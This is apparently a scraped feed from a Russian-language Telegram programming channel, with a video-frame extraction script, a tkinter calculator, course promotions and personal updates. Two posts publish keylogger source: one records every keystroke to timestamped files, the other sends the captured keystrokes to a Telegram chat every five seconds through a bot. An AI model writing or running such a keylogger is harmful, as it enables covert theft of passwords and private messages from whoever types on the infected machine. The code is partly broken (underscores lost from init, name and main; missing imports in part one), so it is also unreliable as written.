Справочник Программиста
6.29K subscribers
1.35K photos
387 videos
64 files
1.7K links
По рекламе - @it_start_programmer
Мои курсы - @courses_from_it_start_bot
Сайт - https://it-start.online/
YouTube - https://www.youtube.com/@it_start
Реклама на бирже - https://telega.in/c/programmersGuide_1

Предложить идею: @it_start_suggestion_bot
Download Telegram
Извлекаем кадры из видео в Python
Код из видео:

from moviepy.editor import VideoFileClip
import numpy as np
import os
from datetime import timedelta

SAVING_FRAMES_PER_SECOND = 10


def format_timedelta(td):
result = str(td)
try:
result, ms = result.split(".")
except ValueError:
return result + ".00".replace(":", "-")

ms = round(int(ms) / 10000)
return f"{result}.{ms:02}".replace(":", "-")


def main(video_file):
video_clip = VideoFileClip(video_file)
filename, _ = os.path.splitext(video_file)

if not os.path.isdir(filename):
os.mkdir(filename)

saving_frames_per_second = min(video_clip.fps, SAVING_FRAMES_PER_SECOND)
step = 1 / video_clip.fps if saving_frames_per_second == 0 else 1 / saving_frames_per_second

for current_duration in np.arange(0, video_clip.duration, step):
frame_duration_formatted = format_timedelta(timedelta(seconds=current_duration)).replace(":", "-")
frame_filename = os.path.join(filename, f"frame{frame_duration_formatted}.jpg")

video_clip.save_frame(frame_filename, current_duration)


video_file = 'путь_до_видео'
main(video_file)
👍19
У меня есть парочка новостей.
1. Спустя месяц я наконец-то закончил работу над курсом по библиотеке tkinter, и Вы можете приобрести его на boosty.
Первую неделю кстати будет скидка, и вместо 1000 рублей он будет стоить 500.
Подробное описание курса есть на моём сайте: https://it-start.online/kursy/sozdanie-graficheskogo-interfejsa-v-python-3-s-tkinter
boosty: https://boosty.to/it_start

2. Да, я зарегистрировался в boosty, и теперь все, кто хотел бы меня поддержать могут это сделать там.
В зависимости от уровня подписки Вам будут доступны различные бонусы. Например, всего за 150 рублей Вы сможете
смотреть видео на пару дней, а то и недель раньше, чем на ютубе (там кстати сейчас видео вышло про создание кейлоггера на python).

3. Для тех, кто хочет получить код приложения Операционной Системы на python есть отличная новость. Набрав 10 платных подписчиков,
я выложу код на boosty (и кстати, скоро 3 часть по данному приложению, все последующие обновления кода я тоже буду выкладывать на boosty).
👍13
Кейлоггер на Python
Код из видео:

class Keylogger:
def init(self, interval):
self.interval = interval

self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()

def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name

def update_filename(self):
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

def report_to_file(self):
with open(f"{self.filename}.txt", "w") as f:
print(self.log, file=f)
print(f"Сохранение {self.filename}.txt")

if self.log:
self.end_dt = datetime.now()
self.update_filename()
self.report_to_file()
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True
timer.start()

def start(self):
self.start_dt = datetime.now()
keyboard.on_release(callback=self.callback)
self.report()
keyboard.wait()


if name == "main":
Keylogger(interval=SEND_REPORT_EVERY).start()
👍14
Сегодня кстати последний день скидки на курс по tkinter.
Напоминаю, что потом он будет стоить 1000р.

А ещё сегодня выйдет вторая часть по созданию кейлоггера)
👍8
Связываем кейлоггер с телеграм ботом | Кейлоггер на python часть 2
Код из видео:

import keyboard
from threading import Timer
from datetime import datetime
import telebot
from telebot import types

bot = telebot.TeleBot('')

SEND_REPORT_EVERY = 5


class Keylogger:
def init(self, report_method, chat_id=None):
self.chat_id = chat_id
self.report_method = report_method
self.interval = SEND_REPORT_EVERY

self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()

def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name

def update_filename(self):
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

def report_to_file(self):
with open(f"{self.filename}.txt", "w") as f:
print(self.log, file=f)
print(f"Сохранение {self.filename}.txt")

def send_bot(self, message):
bot.send_message(self.chat_id, message)

def report(self):
if self.log:
self.end_dt = datetime.now()
self.update_filename()
if self.report_method == "telegram":
self.send_bot(self.log)
elif self.report_method == "file":
self.report_to_file()
self.start_dt = datetime.now()
self.start_dt = datetime.now()

self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True
timer.start()

def start(self):
self.start_dt = datetime.now()
keyboard.on_release(callback=self.callback)
self.report()
keyboard.wait()


@bot.message_handler(commands=['start'])
def start_bot(message):
markup = types.InlineKeyboardMarkup()
run_bot = types.InlineKeyboardButton(text='Запустить bot', callback_data='start_keylogger_tg')
run_file = types.InlineKeyboardButton(text='Запустить file', callback_data='start_keylogger_file')
markup.add(run_bot, run_file)
bot.send_message(message.chat.id,
"Чтобы запустить кейлоггер, выберите куда выводить информацию и нажмите на соответствующую кнопку.",
reply_markup=markup)


@bot.callback_query_handler(func=lambda call: True)
def callback_worker(call):
if call.data == 'start_keylogger_tg':
keylogger = Keylogger(report_method="telegram", chat_id=call.from_user.id)
keylogger.start()
elif call.data == 'start_keylogger_file':
keylogger = Keylogger(report_method="file")
keylogger.start()


bot.polling()
👍18🔥2🤨1
Наконец-то стал в рекомендации попадать.
Для тех, кто не знает, канал создан ещё в 14 году. Видео туда выкладывались очень редко, поэтому ни в реках, нигде он особо не показывался, кроме поиска. Благодаря почти году усердной работы над каналом, он наконец стал попадать в рекомендации, я долго этого ждал))

Кстати, сегодня видео выйдет ;)
29👍3
Если видео не будет какой-то время, не теряйте, у меня сейчас такое веселье происходит))
Жить негде, а квартиру пока снять сложно (нахожусь на испытательном сроке и даже не знаю, будет ли ЗП и когда))
Делаю сайт для компании на django, для этого нужно где-то за компом сидеть, а негде))
Надеюсь всё нормализуется в ближайшее время, видео постараюсь выложить в ближайшие дни.

В общем, очень весело, но никому не советую так веселиться)
8🤯8👍2🔥2
Пока что могу только статьи писать, но надеюсь совсем скоро дойду до видео))
👍10
Давненько я сюда ничего не выкладывал, и не писал.
Завтра выйдет видео, как всегда по расписанию в 16:30 по МСК ;)
🎉13🤣1
И так, график видео будет +/- такой:
Через каждые 4 дня - новое видео
Статьи так же буду выкладывать в хаотичном порядке)
👍98
Пишем GUI калькулятор на Python tkinter
Код из видео:

from tkinter import *


def btn_click(item):
global expression
try:
input_field['state'] = "normal"
expression += item
input_field.insert(END, item)

if item == '=':
result = str(eval(expression[:-1]))
input_field.insert(END, result)
expression = ""
input_field['state'] = "readonly"

except ZeroDivisionError:
input_field.delete(0, END)
input_field.insert(0, 'Ошибка (деление на 0)')
except SyntaxError:
input_field.delete(0, END)
input_field.insert(0, 'Ошибка')


def bt_clear():
global expression
expression = ""
input_field['state'] = "normal"
input_field.delete(0, END)
input_field['state'] = "readonly"


root = Tk()
root.geometry("268x288")
root.resizable(0, 0)
root.title("Калькулятор")

frame_input = Frame(root)
frame_input.grid(row=0, column=0, columnspan=4, sticky="nsew")
input_field = Entry(frame_input, font='Arial 15 bold', width=24, state="readonly")

input_field.pack(fill=BOTH)

buttons = (('7', '8', '9', '/', '4'),
('4', '5', '6', '*', '4'),
('1', '2', '3', '-', '4'),
('0', '.', '=', '+', '4')
)

expression = ''

button = Button(root, text='C', command=lambda: bt_clear())
button.grid(row=1, column=3, sticky="nsew")
for row in range(4):
for col in range(4):
Button(root, width=2, height=3, text=buttons[row][col],
command=lambda row=row, col=col: btn_click(buttons[row][col])).grid \
(row=row + 2, column=col, sticky="nsew", padx=1, pady=1)

root.mainloop()
👍20
И так, сегодня я постарел на 1 год, а ещё сегодня выйдет новое интересное видео ;)
🎉40